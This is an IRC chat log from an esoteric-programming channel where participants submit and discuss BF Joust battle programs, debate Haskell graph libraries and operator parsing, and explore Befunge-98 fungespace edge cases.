07:23:46 <lambdabot> must have lower pre...
07:24:04 <oerjan> > (0$0 <)
07:24:05 <lambdabot> The operator `GHC.Classes.<' [infix 4] of a section
07:24:05 <lambdabot> must have lower pr...
07:24:16 <oerjan> oh wait
07:24:20 <impomatic> !bfjoust timeout http://candlebags.co.uk/temp/5.txt
07:24:47 <EgoBot> Score for impomatic_timeout: 15.0
07:25:26 <Sgeo> ?
07:25:40 <oerjan> i'm sure there must be _some_ way to get a haskell expression to give two different valid results if you change a <- into < - , but i don't seem to get there with the common operators
07:26:27 <oerjan> hm...
07:26:47 <Sgeo> !bfjoust decoy_for_lazy_programs (>+)*5
07:26:57 <zzo38> However, with -> operator in C, it is not really necessary if they made . do both what . does now and what -> does now, but at least -> works because the individual - > in that sequence is bad, so -> is OK.
07:26:59 <EgoBot> Score for Sgeo_decoy_for_lazy_programs: 0.0
07:27:12 <Sgeo> Awesome, I suck.
07:27:59 <impomatic> !bfjoust timeout http://candlebags.co.uk/temp/5.txt
07:28:06 <EgoBot> Score for impomatic_timeout: 15.2
07:28:28 <Sgeo> !bfjoust nothing_to_see_here (-)*127
07:28:45 <EgoBot> Score for Sgeo_nothing_to_see_here: 8.1
07:30:59 <Sgeo> !bfjoust sine (-)*127[-+]
07:31:15 <EgoBot> Score for Sgeo_sine: 10.9
07:31:17 <zzo38> The C preprocessor is weak but what I think is adding a command to catch compiler errors would be useful.
07:31:20 <Sgeo> Hah
07:31:35 <impomatic> !bfjoust timeout http://candlebags.co.uk/temp/5.txt
07:31:43 <EgoBot> Score for impomatic_timeout: 14.4
07:32:17 -!- zzo38 has quit (Remote host closed the connection).
07:32:27 <impomatic> !bfjoust timeout http://candlebags.co.uk/temp/5.txt
07:32:34 <EgoBot> Score for impomatic_timeout: 15.3
07:36:10 <impomatic> !bfjoust timeout (>)*8(>[++++[-]])*21
07:36:19 <EgoBot> Score for impomatic_timeout: 13.8
07:36:50 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
09:48:15 -!- clog has joined.
09:48:15 -!- clog has joined.
09:50:48 -!- sixdej|sleep has quit (Ping timeout: 240 seconds).
10:40:53 -!- ais523 has joined.
10:46:25 -!- azaq23 has joined.
10:49:50 -!- FireFly has joined.
11:04:06 -!- hiato has joined.
11:04:06 -!- hiato has quit (Client Quit).
11:08:00 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
11:11:25 -!- poiuy_qwert has joined.
11:24:24 -!- FireFly has quit (Quit: swatted to death).
11:25:30 -!- ais523 has quit (Remote host closed the connection).
11:25:45 -!- ais523 has joined.
11:34:47 -!- ais523 has quit (Read error: Connection reset by peer).
11:40:03 -!- ais523 has joined.
11:41:32 <oerjan> > let (<$) = fmap . const; infixl 1 <$ in do x <- y <$ Just z ; return x
11:41:33 <lambdabot> Just y
11:41:44 <oerjan> > let (<$) = fmap . const; infixl 1 <$ in do x < - y <$ Just z ; return x
11:41:46 <lambdabot> Just x
11:44:24 <fizzie> Hooray.
11:44:53 <oerjan> there's still that pesky (<$) fixity
11:49:00 <oerjan> > bool
11:49:00 <lambdabot> Not in scope: `bool'
11:49:03 <oerjan> > if'
11:49:04 <lambdabot> Not in scope: `if''
11:50:14 -!- pikhq_ has joined.
11:50:16 -!- pikhq has quit (Ping timeout: 250 seconds).
11:50:48 <oerjan> > let f | x <- 2 = True in f
11:50:49 <lambdabot> True
11:50:54 <oerjan> > let f | x < - 2 = True in f
11:50:55 <lambdabot> *Exception: <interactive>:3:4-21: Non-exhaustive patterns in function f
11:51:08 <oerjan> hm
11:51:38 <oerjan> > let f | x < - 2 = True | otherwise = False in f
11:51:39 <lambdabot> False
11:51:43 <oerjan> > let f | x <- 2 = True | otherwise = False in f
11:51:43 <lambdabot> True
11:51:50 <oerjan> ok that one works
11:53:25 <fizzie> You win a point.
11:58:28 -!- pikhq_ has quit (Read error: Operation timed out).
12:00:50 -!- pikhq has joined.
12:10:10 -!- amca has quit (Quit: Farewell).
12:42:07 -!- azaq23 has quit (Ping timeout: 260 seconds).
12:43:30 -!- azaq23 has joined.
12:50:50 -!- azaq231 has joined.
12:51:27 -!- azaq231 has quit (Changing host).
12:51:27 -!- azaq231 has joined.
12:52:28 -!- azaq23 has quit (Ping timeout: 240 seconds).
12:53:01 -!- azaq231 has changed nick to derivector_azaq2.
12:53:16 -!- derivector_azaq2 has changed nick to derivector.
12:53:23 -!- derivector has changed nick to azaq23.
13:06:56 <ais523> curious: defend7 and chainmail beat the entire field of programs between them, and tend to do well against programs the other does badly against
13:06:59 <ais523> despite being almost identical
13:07:03 <ais523> I wonder what's happening there?
13:30:50 -!- FireFly has joined.
13:32:54 -!- yiyus_ has changed nick to yiyus.
13:34:55 -!- azaq23 has quit (Ping timeout: 240 seconds).
13:47:46 -!- azaq23 has joined.
14:05:44 <Vorpal> ais523, details of timing?
14:06:00 <Vorpal> just an idea
14:06:03 <ais523> Vorpal: that seems pretty likely to be involved, indeed
14:06:17 <ais523> but it's strange how they're so completely different in that respect
14:06:58 <Vorpal> ais523, apart from that I can only recommend the obvious method of trying various changes to make one of them more like the other and see which change makes what happen
14:09:40 <Vorpal> ais523, err, you might know the answer to this: I'm looking for a directed graph (may or may not be acyclic) data type in haskell, able to label nodes and edges. Where should I look? I don't really know the standard library of haskell very well yet but I presume it is there somewhere.
14:10:18 <ais523> I don't know Haskell's stdlib well at all
14:10:22 <ais523> @hoogle graph
14:10:22 <lambdabot> module Data.Graph
14:10:22 <lambdabot> module Data.Graph.Inductive.Graph
14:10:23 <lambdabot> Data.Graph type Graph = Table [Vertex]
14:10:26 <Vorpal> hm
14:10:30 <ais523> lambdabot does, though
14:10:38 <Vorpal> right. didn't know that command
14:10:44 <ais523> but that might not be what you want
14:10:57 <Vorpal> ais523, well hard to tell. guess I'll google it
14:11:39 <Vorpal> if it is the same as this http://www.haskell.org/ghc/docs/latest/html/libraries/containers-0.4.0.0/Data-Graph.html ?
14:14:23 -!- poiuy_qwert has quit (Read error: Operation timed out).
14:14:40 <ais523> looks like it
14:14:40 <Vorpal> indeed not
14:14:46 <Vorpal> ais523, doesn't label edges
14:14:59 <Vorpal> I need multiple differently labeled edges between the same node pair sometimes
14:15:24 <ais523> aha, I think I've identified a flaw in defend7, which is also potentially in chainmail but harder to trigger
14:16:28 <ais523> !bfjoust defend10 http://sprunge.us/ZXiO
14:16:31 <Vorpal> I admit ignorance. What is an inductive graph?
14:16:36 <ais523> I'm not sure either
14:16:43 <ais523> I'm hardly a Haskell expert
14:16:46 <Vorpal> because Data.Graph.Inductive.Graph has labeled edges
14:17:08 <Vorpal> type UEdge = LEdge () "Quasi-unlabeled edge" <--- heh
14:17:21 <ais523> haha
14:17:28 <EgoBot> Score for ais523_defend10: 39.0
14:17:42 <Vorpal> ais523, which is strange since it also has type Edge = (Node, Node) which is just "Unlabeled edge"
14:18:06 -!- pikhq has quit (Read error: Operation timed out).
14:18:38 <ais523> hmm, that just made things even more confusing
14:18:45 <ais523> it definitely depends on minor timing details
14:19:20 <ais523> !bfjoust defend10 http://sprunge.us/EZYj
14:19:36 <EgoBot> Score for ais523_defend10: 36.8
14:20:22 <Vorpal> now if I just could figure out what the hell an inductive graph was...
14:20:23 -!- pikhq has joined.
14:20:29 <Vorpal> google isn't very helpful
14:20:34 <Vorpal> who here is a haskell expert
14:20:34 -!- poiuy_qwert has joined.
14:21:47 <ais523> !bfjoust defend10 http://sprunge.us/MWQf
14:21:58 <ais523> that one works on a bit of a different mathematical formula
14:22:00 <EgoBot> Score for ais523_defend10: 0.0
14:22:06 <ais523> wait what?
14:22:17 -!- BeholdMyGlory has joined.
14:22:24 <Vorpal> ais523, must have an error
14:23:11 <Vorpal> !bfjoust test .
14:23:16 -!- poiuy_qwert has quit (Client Quit).
14:23:22 <EgoBot> Score for Vorpal_test: 8.6
14:23:31 <Vorpal> see. even that... so likely an error
14:23:50 <ais523> nope, I just got the maths wrong
14:24:02 <ais523> oh, haha, not that either
14:24:08 <ais523> or, yes, is that
14:24:59 <Vorpal> !bfjoust test >+<.
14:25:07 <EgoBot> Score for Vorpal_test: 0.0
14:25:12 <Vorpal> ah
14:26:07 <fizzie> There is that FGL thing.
14:26:22 <fizzie> I don't know if it's any good and/or maintained.
14:26:30 <fizzie> ("Functional Graph Library" or something.)
14:26:44 <fizzie> I just remember seeing a libghc6-blah package for it in Ubuntu.
14:27:38 <fizzie> It seems to be Data.Graph.Inductive.
14:27:46 <fizzie> Based on http://hackage.haskell.org/package/fgl
14:28:23 <Vorpal> fizzie, any idea what it means with "inductive graph"
14:28:36 <ais523> !bfjoust defend10 http://sprunge.us/EIJX
14:28:51 <EgoBot> Score for ais523_defend10: 10.7
14:28:57 <Vorpal> whops have to rush
14:28:59 <fizzie> I *think* it just means their way of doing a graph API, nothing specially particular.
14:29:04 <fizzie> But I could be worng there.
14:29:18 * Sgeo goes insane due to lack of accomplished homework
14:29:32 <fizzie> Graph-as-a-recursive-datatype sort of thing.
14:32:04 -!- Sgeo has quit (Quit: Need to accomplish a weekend's worth of homework in 10 minutes.).
14:35:20 <ais523> !bfjoust defend10 http://sprunge.us/CWIN
14:35:39 <EgoBot> Score for ais523_defend10: 55.1
14:36:00 <ais523> that's a genuinely different mathematical principle from defend7, now
14:37:12 <ais523> and straight to the top of the leaderboard
14:37:22 <ais523> not bad after the previous two versions scored 0 and 10.7
14:44:28 <oerjan> <ais523> but that might not be what you want <-- well if hoogle doesn't find it, i think the next step is to look in hackage...
14:47:00 <oerjan> mind you all i really recall about graphs in haskell is that there are packages but it's supposedly awkward to do functionally
14:47:15 <oerjan> also you seem to want multigraphs...
14:47:23 <oerjan> Vorpal: ^
14:47:35 <ais523> it seems that defend10 wins more convincingly than defend7 against many opponents where they both win, too
14:50:53 -!- azaq23 has quit (Quit: Leaving.).
15:00:07 * oerjan ponders if we should make an Esolang:Classics page for listing particularly interesting languages
15:00:57 <oerjan> hm i guess i should post this on the wiki
15:04:34 <ais523> that sounds like a POV nightmare, with everyone wanting their own langs there
15:04:43 <ais523> not that I'm opposed to the concept if it's workable
15:04:51 <ais523> hmm, whatever happened to the Essies?
15:05:02 <oerjan> ais523: ah but i had an idea for a sponsoring rule - and you cannot sponsor your own language
15:05:14 <oerjan> i.e. this page would _not_ be free for all
15:05:56 <ais523> perhaps the wiki isn't the best place for it, then
15:05:58 <oerjan> or would it still be a problem with sockpuppets...
15:06:16 <ais523> although I suppose it's the only even partially active esolangs forum other than #esoteric
15:06:28 <ais523> sockpuppets wouldn't necessarily be a problem, you could think up ways to exclude them
15:06:46 <oerjan> well the thing is there are _so_ many languages on the wiki that it's hard to find the good stuff
15:07:09 <oerjan> well there is the Special:Favorites page, or what it's called
15:07:18 <oerjan> and the Timeline
15:07:39 <oerjan> well i guess i'm really just asking for a bit better organization
15:07:42 <Vorpal> <fizzie> Graph-as-a-recursive-datatype sort of thing. <-- hm, can it handle cycles
15:07:49 <Vorpal> fizzie, I'm pretty sure I will have cycles
15:07:57 <fizzie> Sure.
15:08:02 * oerjan is having second thoughts
15:08:20 <Vorpal> <oerjan> also you seem to want multigraphs... <-- yes indeed
15:08:53 <oerjan> Vorpal: although in some ways you could do multigraphs with a label that was a set, maybe
15:09:14 <oerjan> although whether that fits the algorithms you need to use...
15:09:50 <Vorpal> oerjan, what I'm looking for I guess is something like erlang's digraph module, which can do various types of digraphs depending on what you request. In it's most general variant that would be directed multigraphs with cycles I guess
15:09:57 <fizzie> My initial assumption would be that in FGL graphs you could insert multiple differently-labeled edges between two nodes, but it doesn't seem to be very comprehensively documented.
15:10:08 <Vorpal> oerjan, well that seems somewhat awkward, though it could be done
15:10:51 <oerjan> Vorpal: hm will you have _loops_? (cycles from an edge to itself)
15:10:54 <oerjan> *vertex
15:11:50 <oerjan> Vorpal: i guess what you need depends on what you need to do with it - if it's just something simple you might just want to roll your own
15:12:00 <Vorpal> oerjan, I think the smallest cycle I will have would contain at least two nodes.
15:12:05 <oerjan> ok
15:12:21 <Vorpal> yep. I can't think of how I could get loops
15:12:40 <Vorpal> oerjan, anyway yes I could roll my own, but I don't like to reinvent the wheel
15:12:58 <Vorpal> not unless I have a reason to at least
15:13:46 <Vorpal> oerjan, anyway, I will very likely need to update the graph quite a bit. So it would be preferable if that wasn't a too expensive operation
15:13:56 <oerjan> hm
15:14:37 <oerjan> Vorpal: purely function might not be the best then, but i don't know how good those packages are. i guess you just have to read their documentation (if they have any)
15:14:43 <oerjan> *functional
15:14:51 <fizzie> FGL's source is short and (moderately) cryptic. :p
15:15:03 <fizzie> At least for the Data.Graph.Inductive.Graph module.
15:15:04 <Vorpal> oerjan, haskell would be nice for various other reasons for this thing, but I might go for another language if that would be less work.
15:15:13 <fizzie> insEdge :: DynGraph gr => LEdge b -> gr a b -> gr a b
15:15:13 <fizzie> insEdge (v,w,l) g = (pr,v,la,(l,w):su) & g'
15:15:13 <fizzie> where (Just (pr,_,la,su),g') = match v g
15:15:37 <fizzie> It's quite tuplestic.
15:15:40 <Vorpal> heh
15:15:41 <oerjan> Ledge is labeled edge, i presume
15:15:49 <Vorpal> oerjan, from the docs it seemed like that yes
15:15:53 <fizzie> Yes, LEdge b is (Node, Node, b).
15:15:55 <oerjan> *Ledge
15:15:57 <oerjan> er
15:16:01 <oerjan> *LEdge
15:16:12 * oerjan swats his left middle finger
15:16:27 <oerjan> oh wait it's the right pinky which needs swatting
15:17:01 <oerjan> well insEdge doesn't look bad at least
15:17:51 <ais523> Vorpal: writing an Eodermdrome interp? (although that probably wouldn't need labeled edges unless it would help for algorithmic purposes)
15:18:24 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
15:18:30 <Vorpal> oerjan, I expect this kind of workflow: insert lots of nodes and edges, then a longer period of removing with a handful of inserts only.
15:18:37 <Vorpal> ais523, alas no.
15:18:45 <oerjan> ais523: heh
15:18:57 <Vorpal> ais523, I shall check out that language though
15:18:59 <Vorpal> sounds interesting
15:19:06 <ais523> it is, but a pain to implement
15:19:07 <oerjan> it's a bitch to program ;D
15:19:10 <oerjan> *too
15:19:20 <Vorpal> oh that one
15:19:24 <ais523> yep, I think I wrote one (untested) program than gave up
15:19:26 <Vorpal> I seen the wiki page before
15:19:31 <ais523> *I saw?
15:19:39 <oerjan> well my program is also untested of course
15:19:40 <Vorpal> have seen*
15:19:40 <Vorpal> even
15:19:52 <ais523> hmm, indeed, although that's rather needlessly formal
15:20:09 <oerjan> or well "of course" i _think_ there's an interpreter floating around somewhere (by oklopol?) but maybe not online
15:20:38 <oerjan> *I've seen, maybe?
15:20:48 <ais523> I remember oklopol was writing one, but IIRC didn't see the finished product
15:20:53 <Vorpal> anyway, it is language implementation related, but I do not wish to reveal everything atm because it might just not work out at all, in which case I don't want elliott laughing at me. :P
15:20:59 <Vorpal> brb phone
15:22:10 <oerjan> ais523: when i thought about writing an eodermdrome interpreter i got this idea that there's a near endless amount of indexing you might want to do to make finding subgraphs reasonable efficient
15:22:34 <oerjan> like having a list of all single-edge vertices, etc.
15:22:41 <ais523> indeed, it's one of those esolangs where a clever caching strategy can make it run much faster
15:22:42 <oerjan> *reasonably
15:22:55 <ais523> like 1cnis or Feather, although just trying to get Feather to work at all is hard enough
15:23:30 <ais523> I think what I'll do is get an interp written in Scheme working first, and then write a Scheme interp designed to interpret Scheme programs interpreting Feather efficiently
15:23:37 <ais523> which is likely easier than trying to write a second Feather interp
15:33:13 <Vorpal> back
15:34:38 <Vorpal> hrrm. Data.Graph.Inductive.Graph lacks topsort (I expect my processing of it will remove all cycles, and then I want to topsort it)
15:36:23 <Vorpal> actually it seems that erlang has exactly the module I need. And well documented. And it is fast for updating (it is implemented in a non-pure way if you look deep enough)
15:36:51 <Vorpal> but other than this (main) structure of the program haskell would be so much nicer
15:37:09 <Vorpal> @hoogle digraph
15:37:09 <lambdabot> No results found
15:37:15 <Vorpal> well, worth a try
15:39:39 <fizzie> Vorpal: topsort's in Data.Graph.Inductive.Query.DFS.
15:39:44 <fizzie> Applicable to a Graph.
15:39:50 <Vorpal> fizzie, aha
15:40:00 <fizzie> (After all, DFS is how you topologically sort a DAG.)
15:40:46 <fizzie> (Okay, so it's a pretty poor justification.)
15:41:06 <ais523> `addquote <elliott_> "My real name is 4, but I go by fizzie3 on the Internet. I log in as 1."
15:41:52 <HackEgo> 300) <elliott_> "My real name is 4, but I go by fizzie3 on the Internet. I log in as 1."
15:42:03 <fizzie> Is that referring to something? It really sounds like it is.
15:43:04 <ais523> fizzie: it's when you logged in yesterday via USER 1 2 3 4
15:43:06 <Vorpal> fizzie, I have to say that library is very poorly documented though.
15:43:20 <ais523> I was `addquoting from logreading
15:43:24 <Vorpal> it doesn't even list complexity of functions like insertion and so on
15:43:27 <fizzie> ais523: Yes, but the actual thing. It sounds like a paraphrased quote from some fictional work.
15:43:54 <ais523> ah
15:44:19 <ais523> there's a bit near the end of Alice Through the Looking Glass that works a bit like that, but it's different enough that that isn't a paraphrased quote
15:45:19 -!- copumpkin has joined.
15:46:07 <ais523> hey, in Befunge-98, if you manage to completely delete every command from fungespace, leaving it with spaces everywhere, what does y return?
15:46:20 <ais523> (I'm wondering if that's an "if a tree falls..." question, or if there's some way to actually run y on a blank fungespace)
15:46:26 <ais523> in particular, for the fungespace bounds
15:47:00 <ais523> it's easy to see bounds update algos going into an infinite loop on empty fungespace; but then, the program goes into an infinite loop then anyway, so that behaviour can't be said to be incorrect
15:47:06 <Vorpal> ais523, I don't think you can. Unless you use some multiverse-style fingerprint. Even k trickery wouldn't be enough here
15:47:39 <ais523> not even t trickery, I think
15:47:44 <Vorpal> indeed
15:49:37 <fizzie> ais523: The EXEC fingerprint has X (cmd n --) "execute command on stack n times".
15:49:42 -!- MigoMipo has joined.
15:49:55 <ais523> that would work, I think
15:50:10 <fizzie> You'd need to execute the X itself, though.
15:50:10 <Vorpal> ais523, I can tell you what would happen when loading an empty file in cfunge, and that is that the boundsvalid variable would never be set to true. I don't know what effects that has. I never investigated the empty file case further than "yep, it seems to be an infinite loop, *hits ctrl-c*"
15:50:22 <ais523> you can use X containing X
15:50:30 <ais523> with the first copied X running p, and the second running y
15:50:40 <Vorpal> fizzie, k and X trickery could do it
15:50:54 <ais523> Vorpal: what about annihilator programs?
15:50:55 <fizzie> Yes, that sounds possible.
15:51:04 <ais523> yep, both kX and 'XX seem to work
15:51:10 <ais523> with suitable stack layouts
15:51:14 <Vorpal> ais523, well they end up with infinite loop. I never investigated where the loop was
15:51:22 <Vorpal> ais523, but cfunge updates bounds lazily.
15:51:34 -!- Phantom_Hoover has joined.
15:51:38 <ais523> even in slowdown.b98?
15:52:21 <fizzie> ais523: I'm not sure if EXEC implementations are typically tested against recursive X, though.
15:52:25 <Vorpal> ais523, the logic in the wrapping code goes something like: if not exact bounds, and maxbounds - minbounds > somelargeconstant: force a shrink
15:52:57 <ais523> ah, I see
15:52:59 <Vorpal> ais523, the constant is indeed a fudge factor that I arrived at with some testing on my sempron 3300+ system. Might vary between systems of course
15:53:00 <ais523> that makes sense
15:54:14 <Vorpal> ais523, same as I switch shrinking algorithm when the bound difference is large enough, by assuming we are dealing with a sparse rather than compact funge space (and thus shrinking by stepping borders inwards would be stupid).
15:54:56 <ais523> being stupidly micro-optimised is so eso in its own right
15:55:13 <Vorpal> hm does mycology test what happens if you kp and then ensures the stack is such that it overwrites the k in the middle of the loop?
15:56:08 <Vorpal> ais523, actually those two are not microoptimising. They are just switching to algorithms that don't take tens of seconds for slowdown.b98. No other program runs into this sort of huge bound shrinking in practice.
15:56:22 <ais523> indeed
15:57:24 <Vorpal> ais523, anyway, no one ever complained about stuff like BLAS generally needing to be tuned to the specific system!
15:57:40 <Vorpal> (okay that is quite different, but still)
16:08:41 -!- asiekierka has joined.
16:09:52 <ais523> uh-oh, heard in the office: "what's the point of [Apple keyboards]"
16:10:06 <ais523> this argument could last a while
16:10:09 <Vorpal> ais523, why [ ]? Did it replace some profanity?
16:10:16 <ais523> it replaced a pronoun
16:10:20 <Vorpal> ah
16:10:33 <Gregor> Namely, "him"
16:10:54 * oerjan facepalms and then swats Gregor -----###
16:10:54 <Vorpal> ais523, not a lot unless you have a mac, and even then just for key labels (cmd or whatever)
16:11:03 <ais523> Gregor: I forget which pronoun it was now (probably "that"), but "him" seems unlikely
16:11:10 <Gregor> :P
16:11:32 <ais523> TODO: censor all the pronouns in http://en.wikipedia.org/wiki/Special:Search?go=Go&search=Brainfuck
16:11:43 <Vorpal> ais523, besides aren't all apple keyboards ultra flat or something?
16:11:48 <ais523> actually, I think someone did something similar a while back
16:11:49 <Vorpal> or do they still make proper keyboards?
16:11:53 <ais523> Vorpal: I don't know, I'm not a keyboard maniac
16:17:25 <ais523> <Sgeo> !bfjoust attack_15 (>)*15[-] <--- that's a pretty specific program
16:17:38 <ais523> I suppose it beats pretty much anything on a program with tape length 16, and fails otherwise
16:18:00 <Gregor> Well, that's 1/21 tape lengths :P
16:18:31 <ais523> yep
16:18:42 <ais523> it didn't do very well
16:18:45 <ais523> but the concept is hilarious
16:19:09 <ais523> (tripstridewire does that on tape length 10, with the exception that it doesn't just give up on different lengths)
16:19:25 <ais523> (and uses an offset clear)
16:19:32 <Gregor> !bfjoust aaaaah_motherland (>++)*5(----<)*5[(>++++)*5(----<)*5]
16:19:53 <EgoBot> Score for Gregor_aaaaah_motherland: 0.0
16:19:58 <Gregor> lol
16:20:04 <ais523> <Sgeo> lolwhat at the [] <--- defend10, currently top of the leaderboard, doesn't just contain [] but [[]]
16:20:04 <Gregor> That is surprisingly bad :P
16:20:24 <Vorpal> Gregor, why that name
16:20:27 <ais523> Gregor: programs that set up decoys and then don't do anything else tend to do very terribly on the current hill
16:20:33 <Gregor> Vorpal: AAAAH MOTHERLAND
16:20:38 <ais523> and it's hard to see how they could do well on most others
16:20:48 <Vorpal> Gregor, yes why that. Is it a reference to something
16:20:49 <Vorpal> ?
16:20:55 <oerjan> ais523: um [[]] is entirely redundant, right?
16:20:56 <Gregor> Vorpal: AAAAH MOTHERLAND
16:21:02 <ais523> oerjan: no
16:21:10 <oerjan> i mean
16:21:15 <ais523> ]] checks to see that the opponent isn't interfering with the cell
16:21:16 <oerjan> equivalent to []
16:21:16 <Vorpal> Gregor, stop that. You are acting like elliott now
16:21:24 <oerjan> oh
16:21:28 <ais523> so you only leave the loop if it's zero two cycles in a row (the lose condition)
16:21:40 <Gregor> Vorpal: There is no reasoning behind the name :P
16:21:45 <ais523> several programs won't leave a cell until it's zeroed two cycles in a row, so you're detecting them detecting you
16:21:46 <Vorpal> Gregor, ah
16:21:52 <ais523> while not accidentally tripping on, say, an offset clear
16:22:00 <ais523> which takes the cell past 0 and then back to 0
16:22:58 <oerjan> Gregor: i got this soviet vibe from it
16:23:12 <Gregor> oerjan: That was the intended vibe :P
16:23:17 <Vorpal> ais523, but which cell does it do that [[]] on?
16:23:28 <ais523> second cell, which is set to 1
16:23:32 <Vorpal> ais523, ah
16:23:42 <ais523> any nonzero value will do, it's just checking to see when the opponent clears it
16:23:48 <Gregor> !bfjoust
16:23:48 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
16:23:51 <Vorpal> ais523, and then what. Tries to defend the real square?
16:23:54 <ais523> you could also check to see how, e.g. detecting offset clears, but defend10 doesn't do that
16:24:06 <ais523> and yep, it tries to lock the opponent in an infinite loop on that square
16:24:10 <Vorpal> ais523, have you considered defending cell 2 then cell 1 and then cell 0?
16:24:11 <Gregor> I am so, so bad at BFJoust :P
16:24:17 <ais523> while slowly looping all the other squares on the tape down to 0
16:24:36 <Vorpal> ais523, how does it avoid running off the remote end?
16:24:41 <ais523> Vorpal: I have, but there doesn't seem to be much of a point, unless maybe you defended them with different algos
16:24:54 <ais523> and by looping each square through 256 possible values before moving onto the next
16:25:15 <ais523> if it does that to a flag, the program ends before it runs off the end; if it does it to a non-flag, then it's safe to move forwards
16:25:22 <Vorpal> ais523, what is the tape length range now again?
16:25:26 <ais523> 10 to 30
16:25:29 <Vorpal> right
16:25:31 <ais523> inclusive
16:26:13 <ais523> as for which square to place the decoy on, that's the main difference between my defend7 and impomatic's chainmail
16:26:54 <Vorpal> ais523, has anyone invented any majorly different type of program the past few months?
16:26:56 <Gregor> !bfjoust nonsense (-)*127++[(----++++)*50]
16:27:00 <ais523> multiple defence only really makes sense if a) you can detect that your defence failed so as to move back (not too difficult, move back a few cycles early and check to see if it's 0 two cycles in a row); b) you have a different algo for the square before
16:27:06 <ais523> Vorpal: I'd say stridewires are a new program type
16:27:12 <Vorpal> ais523, how do they work
16:27:12 <EgoBot> Score for Gregor_nonsense: 14.3
16:27:31 <Gregor> That's the highest score I've ever gotten X-P
16:27:35 <ais523> by looking not at every tape element, but at alternate elements
16:27:56 <Vorpal> ais523, tripwire would pass defend7 by just jumping over it's decoy, right?
16:27:58 <ais523> so the idea is that opponents generally set several decoys, and half the time you skip the first
16:28:14 <ais523> Vorpal: and yes, except that defend7 has a second decoy just to trip tripwires
16:28:17 <Vorpal> ah
16:28:40 <Gregor> !bfjoust obvious (>)*9([[-]]..>)*21
16:28:48 <EgoBot> Score for Gregor_obvious: 9.5
16:29:01 * pikhq revels in a "Screw you guys, I'm not coming in" day
16:29:01 <ais523> Gregor: that's like my stupid defender clearer
16:29:05 <Vorpal> ais523, you could fool stridewires by spacing your decoys correctly. At least for about half of the runs
16:29:11 <Vorpal> ais523, have anyone tried this?
16:29:19 <ais523> so-called both because it clears stupid defenders, and because it stupidly clears defenders
16:29:38 <ais523> Vorpal: stridewires aren't very good, so it hasn't really been necessary
16:29:45 <ais523> and even then, they could randomise their spacing to counteract it
16:30:05 <ais523> the reason tripstridewire does as well as it does is because a) it tends to win on short tapes due to being so aggressive, and b) it wins a fraction of the longer ones
16:30:17 <Vorpal> mhm
16:30:20 <ais523> so although it tends to lose overall, most of them are close losses rather than losing on every length
16:30:38 <ais523> which lets its resounding wins counteract that to some extent
16:31:51 <ais523> Gregor: what would be nice would be if report.txt didn't just say +/-/0, but gave an indication of the extent of the win or loss; i.e. a different code for winning on all 42 runs, to winning 40 of them, to winning 22 of them
16:32:03 <Vorpal> ais523, how do programs counteract shudders. they make the "two turns in a row" bit quite hard to achieve
16:32:08 <ais523> the table at the bottom's a little misleading in that respect atm
16:32:19 <ais523> Vorpal: oh, you simply - while the enemy's doing + after zeroing it
16:32:32 <ais523> [-] against a typical shuddering program actually wins
16:32:38 <Vorpal> ais523, hm right. What about something like (-)*10000 then
16:32:47 <Vorpal> ais523, that won't do the plus bit
16:32:54 <ais523> that works better, but gives you no time for logic
16:33:02 <ais523> it's still counteracted by doing + at the right moment, though
16:33:05 <Vorpal> ais523, indeed. But it does worse than shudder
16:33:06 <Vorpal> iirc
16:33:09 <ais523> so it loses against [+]
16:33:15 <Vorpal> hm
16:33:16 <Vorpal> true
16:33:34 <ais523> defend10 does (-)*128 for timing purposes, on its own flag
16:33:55 <ais523> which doesn't run long enough to lose to anything but a no-op
16:34:01 <ais523> (and no-ops never trigger the tripwire)
16:34:19 <Vorpal> ais523, err is the starting value 127 or?
16:34:23 <ais523> it's 128
16:34:24 <Vorpal> I forgot
16:34:26 <Vorpal> ah
16:34:34 <ais523> but if the opponent changes it at all, you don't zero your own flag doing that
16:34:40 <ais523> and defend10 tries to make pretty sure the opponent will
16:34:58 <ais523> (that can be exploited to defeat defend10, but at the cost of losing to pretty much everything else, so I doubt people will try)
16:35:11 <ais523> (and there are better ways to counter defence programs)
16:35:21 <Vorpal> ais523, such as?
16:35:56 <ais523> mostly doing a lot of random + and - instructions to zero flags
16:36:19 <ais523> which fails against attack programs, but you can try to detect defense programs and react accordingly
16:36:28 <Vorpal> mhm
16:36:46 <ais523> by putting another loop immediately after your zeroing loop, as in [-][+.++.---.-+----]
16:37:08 <Vorpal> right
16:37:34 <ais523> that is, if the defence program doesn't lock you in the initial [-]
16:38:10 <Vorpal> ah
16:38:11 <Vorpal> ais523, figured out the defend7 - chainsaw result differences btw?
16:38:26 <ais523> I think it's to do with odd/even polarity on the decoy
16:38:35 <ais523> vs. odd/even timing differences in the programs they're beating
16:38:41 <Vorpal> ah
16:39:07 <ais523> locking the flag at always odd numbers means it never hits 0, locking it at always even numbers lets the opponent escape from a lock
16:40:30 <Vorpal> !bfjoust test (>)*9([-][+--.-+]>)*30
16:40:34 <EgoBot> Score for Vorpal_test: 14.2
16:40:37 <pikhq> Huh. Debian *might* in the future be going back to Firefox.
16:40:55 <ais523> !bfjoust counterdefence (>)*8(>(+)*128)*21
16:40:58 <EgoBot> Score for ais523_counterdefence: 1.6
16:41:03 <ais523> not surprising
16:41:11 <ais523> because several defence programs aren't simplistic enough to fall for it
16:41:28 <pikhq> Apparently the Firefox copyright policy on the full-and-proper Firefox logo changed, making it so that Debian can reasonably comply with the trademark policy.
16:41:30 <ais523> in fact, none of the current ones are :)
16:41:34 <Vorpal> ais523, that table in the results. Which way do you read it
16:41:45 <ais523> row is the program that gets +, 0, -
16:41:49 <ais523> column is the program it was playing against
16:41:52 <Vorpal> aha
16:42:12 <pikhq> So, Debian is currently filing for a trademark license from Mozilla.
16:42:21 <Gregor> So I'm told.
16:42:47 <Gregor> I won't want to be running Firefox instead of Iceweasel though :(
16:42:49 <Vorpal> pikhq, why
16:43:33 <Gregor> I figured out yesterday that Fluidsynth reliably puts 120 extra samples at the end of every track (between tracks + at the end) and 64 more extra samples at the end.
16:43:35 <Vorpal> !bfjoust test >->+(>)*9([-][+--.-+]>)*30
16:43:39 <EgoBot> Score for Vorpal_test: 5.2
